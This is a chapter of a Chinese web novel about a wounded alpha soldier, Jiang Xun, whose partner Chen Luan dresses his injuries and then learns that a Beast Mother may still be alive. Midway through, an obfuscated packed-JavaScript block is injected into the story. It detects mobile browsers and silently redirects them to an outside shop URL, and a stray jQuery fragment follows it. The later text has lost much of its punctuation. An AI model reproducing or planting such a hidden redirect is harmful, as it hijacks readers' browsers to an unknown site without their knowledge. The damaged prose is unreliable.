江浔受伤了。

    这个认知让陈乱的心跳在打开门的那一瞬间就立刻提了起来。

    此刻暖色的灯光下,已经月余未见的alpha一身没来得及换下来的作战服,手指放在胸前的衣扣上将解未解,茶几边缘放着纱布绷带和药瓶,看起来似乎正要换药,此时正回过头看他。

    表情里甚至还有几分错愕。

    “哥哥。”

    江浔松开捏着扣子的手指站起来,习惯性地微微弯起来眼睛朝着陈乱露出来一个温和的笑容:“你回来了。”

    说着又垂下眼睛,抿了下唇:“对不起,我手机坏——”

    “你受伤了。”

    alpha没说完的话被鞋都没换便关了门急步走过来的陈乱打断。

    “……”

    浅金色的眼睛轻轻眨了一下,alpha鸦羽一般的睫毛闪了闪,垂眼望着陈乱担忧的眼睛,声音平静而温和:“只是小伤。”

    小伤?

    陈乱抬眼看他,头一次对着江浔挑着唇露出一个冷笑:“客厅里的消毒水味儿都快把天花板掀了,十公里开外的海洋馆里的鲨鱼都能闻见你身上的血腥味儿,小伤?”

    他抱起手臂,扬着下巴睨着江浔:“没死就是小伤是吧。伤哪儿了?”

    "背上。"

    在陈乱紧紧追着的注视下,江浔顿了一下,最终乖巧道:“……还有腹部。”

    “脱了。”

    下一秒,安静的屋子里响起陈乱略有些紧绷的声音:“我看看。”

    面前的alpha身上的衣服明显不是受伤时穿的那套,换了新的。

    光凭借那点儿被消毒水盖了一大半的气味,陈乱没办法判断江浔到底伤得有多重。

    头顶暖色的光线下,陈乱眼底毫不掩饰的担忧以及罕见的强硬落在alpha浅琥珀色的眼底,在那片平静如水的冷泉中荡起一阵细微的涟漪。

    江浔微微垂眸,注视着陈乱的眼睛,温顺地点了点头:“好。”

    修长的手指重新搭上作战服的金属纽扣,动作从容。

    但随着外套被解开,脱下来牵拉到背部的肌肉时,陈乱明显感觉江浔的动作有了一点轻微的迟滞。

    深色的作战服上衣被褪下来,空气里消毒水的气味更明显了几分,露出了紧紧包裹着身体的黑色紧身背心,布料之下显出明显的绷带的轮廓。

    而alpha的目光落在陈乱紧

    盯着自己身体的眼睛上,喉结轻微地滚了滚,手指尖停留在了背心的衣角边缘,顿了一下。

    “继续啊。

    陈乱蹙眉,抬起眼睛看他:“背心挡着我能看见什么?

    “好。

    话音落下,江浔听话地握住背心的下缘,小心地将布料向上卷了起来。

    一条横贯过去的绷带缠在那里,左边腹侧已经又渗出来些许猩红。

    陈乱垂眼看着那片刺眼的颜色,唇线绷成直直的一条,转过身拿起茶几边上的医用棉签:“你刚刚是要换药是吧?

    江浔乖巧点头:“嗯。

    “坐下。

    “好。

    江浔的个子很高,尤其是经过这些年的训练,坐在沙发上时依旧显得很大一只。

    陈乱捏着药瓶面前在江浔面前转悠了两圈没找到趁手的角度,干脆在对方鞋尖上踢了一脚:“腿分开。

    “……

    衣服几乎掀到了胸口的alpha喉咙有些许干涩地滚了滚,空气里漂浮着的信息素晃了一下,垂着眼睛听话地抬腿分开了膝盖。

    然后眼睁睁地看着陈乱就这么在他面前半蹲半跪下来。

    鸟类翅膀一般低垂着的睫毛不受控制地闪了好几下,喉结在陈乱看不到的角度轻轻滚动着。

    而陈乱毫无察觉。

    他只是小心翼翼地剪开绷带的外层,一圈一圈地用最轻柔的动作将一层层包裹着的绷带解开,动作间双手偶尔环抱过alpha的腰际,呼吸轻轻重重地落在alpha随着呼吸起伏着的皮肤。

    缠了好几圈的绷带越拆越薄,陈乱的手指也偶尔轻轻蹭过腰腹之间的皮肤,上方落下来的呼吸忽然重了几分。

    面前坐着的alpha忽然调整了一下坐姿。

    陈乱拆绷带的动作顿了一下,抬眼看他:“?

    “啧,别乱动。

    已经不知道在什么时候微微暗下来的金色眼瞳垂落下来,alpha的嗓音里已经含了几分喑哑:“好。

    最后一层绷带解开,露出左侧腹的被医用胶带固定住的一条长长的纱布,血色正从那里洇出来。

    血腥味儿带着浓郁的药味儿在鼻尖弥漫。

    纱布被凝固的血迹粘住了。

    陈乱紧抿着唇,小心又小心地用镊子捏住黏着在伤口边缘的纱布:“可能会有点儿疼,你忍忍。

    “疼就捏这个?

    头顶上忽然落下来江浔带着几分笑意

    的嗓音,一点明亮的橙黄色在陈乱的眼前晃过去。

    陈乱看着江浔手里那只明显已经有了些年代感的毛绒捏捏团子愣了一下,眼睛向上弯起,紧绷着的唇角也终于微微放松下来些许:

    “你还留着呢?”

    当初他在儿科随手买的哄小孩儿的小玩意儿,他还以为江浔早就扔了。

    “嗯。”

    头顶上的嗓音顿了一下:“可惜它已经不会叫了。”

    “十多年了,还让它能叫出声儿是不是有点太为难它了。”

    陈乱一边跟江浔聊着天,手上的动作却没停:“当初买它才花了十九块钱。”

    话音未落,最后一点黏连的纱布被他轻轻揪了下来。

    头顶照得明晃晃的灯光下,陈乱的呼吸猛地一窒。

    视线之下,一条长达十多公分的狰狞的伤口横贯在了紧实漂亮的肌肉之上,边缘红肿翻卷,残留着消毒水和消炎药品的痕迹。

    长长的一排缝合钉攀附在上面,却又似乎攀上了陈乱顿时酸涩起来的胸口。

    空气像是凝固在了喉咙里,吐不出咽不下。

    捏着镊子的手指顿在了半空里,陈乱放下那片染血的纱布,手指探过去悬停在那条伤口上方,没敢碰。

    “……你管这个叫小伤?”

    陈乱回身拿起消毒水和医用棉签,声音有些干涩起来:“再长一点,都可以管它叫三八线了。”

    话音落下,却又问道:“……疼吗?”

    “你怎么搞的,开机甲也能给自己开得开膛破肚么?”

    明明是调笑的语气,可江浔分明在陈乱看似稳定的嗓音里听出来些许极其轻微的鼻音。

    “还好。”

    江浔轻轻应了一声。

    从他的角度看不见陈乱被额前的头发遮住的眼睛,也看不清他的表情,只能看到高挺的鼻梁和那双浅色的、认真轻抿着的唇瓣。

    棉签裹着冰凉的消毒水触碰在伤口边缘的瞬间,起伏着的肌肉线条顿时绷紧了些许。

    江浔轻轻呼吸,目光落在陈乱颈侧那颗随着消毒上药的动作

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505216|174789||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    而晃动起来的红痣上:

    “没开机甲。”

    “n4167号污染区突发污染指数异常情况,我们去救人。一队污染区生态研究人员被困在里面了,那里是城市废墟,他们被兽群堵在了居民楼里,机甲体型太大进不去。”

    “n4167?”

    陈乱捏着面前的手指顿了一下:“那不是个低危区

    吗?”

    “不。现在不是了。”

    头顶落下来一声叹息:“生态核心复苏了那队研究员目击到一只原始荒兽。”

    “幼年体。”

    幼年体?!

    陈乱的眉头狠狠一蹙。

    怎么可能??

    荒兽的寿命极长幼年期却极短短到只有五年!在没有兽母进行孵化的情况下怎么可能会有新生的幼年体出现??

    “不仅是n4167其他多个发生污染指数异常上升的污染区同样被监测到了异常高危物种的污染波动。”

    “舰队认为那些波动并非来源于荒化物种而是……原始荒兽。”

    江浔的嗓音依旧平稳陈乱的心头却如同落雷一般震颤起来。

    一个荒谬的想法从他心底不受控制地冒出来他听到自己略有些艰涩的声音缓慢地吐了出来:

    “有没有可能当年——”

    江浔与陈乱对视:

    “是的舰队怀疑兽母没死。它还蛰伏在0号污染区。”

    “……所以”陈乱的喉咙滚了滚:“军部才会下令暂停所有的野外训练。”

    如果真的是这样那么这些年污染区的异动就都有了可以解释的缘由。

    兽母相当于荒兽的皇帝亦是荒化物种的基因传播者、新生荒兽的孕育者。

    它就像一个超大功率的信号塔强盛之时可以不断释放人类捕捉不到的某种信号去不断催生出新的污染生态。

    如果先前陈乱他们的战争让兽母遭到重创进入了休眠期才给了人类夺回地面的机会那么显然它现在正在慢慢苏醒。

    等它完全醒来

    ……人类会再次面临末日吗?

    军部正在开会讨论的是否冒险派遣队伍进入0号核心区探索也是为了这个吗?

    客厅的窗户开着从屋子里可以看到窗外闪烁着的、在晚风中摇曳着的玩家灯火。

    这是他们拼尽一切赢来的一片安宁。

    会被再次打破吗?

    陈乱不知道。

    但他忽然又觉得他应该相信人类能战胜他们第一次就能够战胜它们第二次。

    一定。

    遮住月亮的那片云飘开的时候陈乱也处理完了江浔腹部和背上的伤。

    伤口很长很深是掩护那队研究员从兽群的围剿中撤出时被荒化兽的节肢划伤的。

    不幸中的万幸是那片地区已经不在污染浓度很高的核心区域加上受伤后撤离及时江浔并没有如同当初陈乱那样遭到感染。

    伤口不能沾水。

    江浔本想装个柔弱让陈乱帮他洗识破了诡计的陈乱回应他的是直接一卷保鲜膜塞他怀里顺便一脚把人踹进了浴室。

    “你还能活蹦乱跳地跑回来转头让你洗个澡就立马生活不能自理了?滚去自己洗。”

    吃了个门板的江浔看着手里的保鲜膜沉默半晌。

    啊

    撒娇好像不管用了。

    等到江浔洗完出来陈乱已经躺进了床铺里正开着台灯靠在床背上抱着平板复盘今天的学生表现方便之后展开针对性训练。

    门口传来敲门声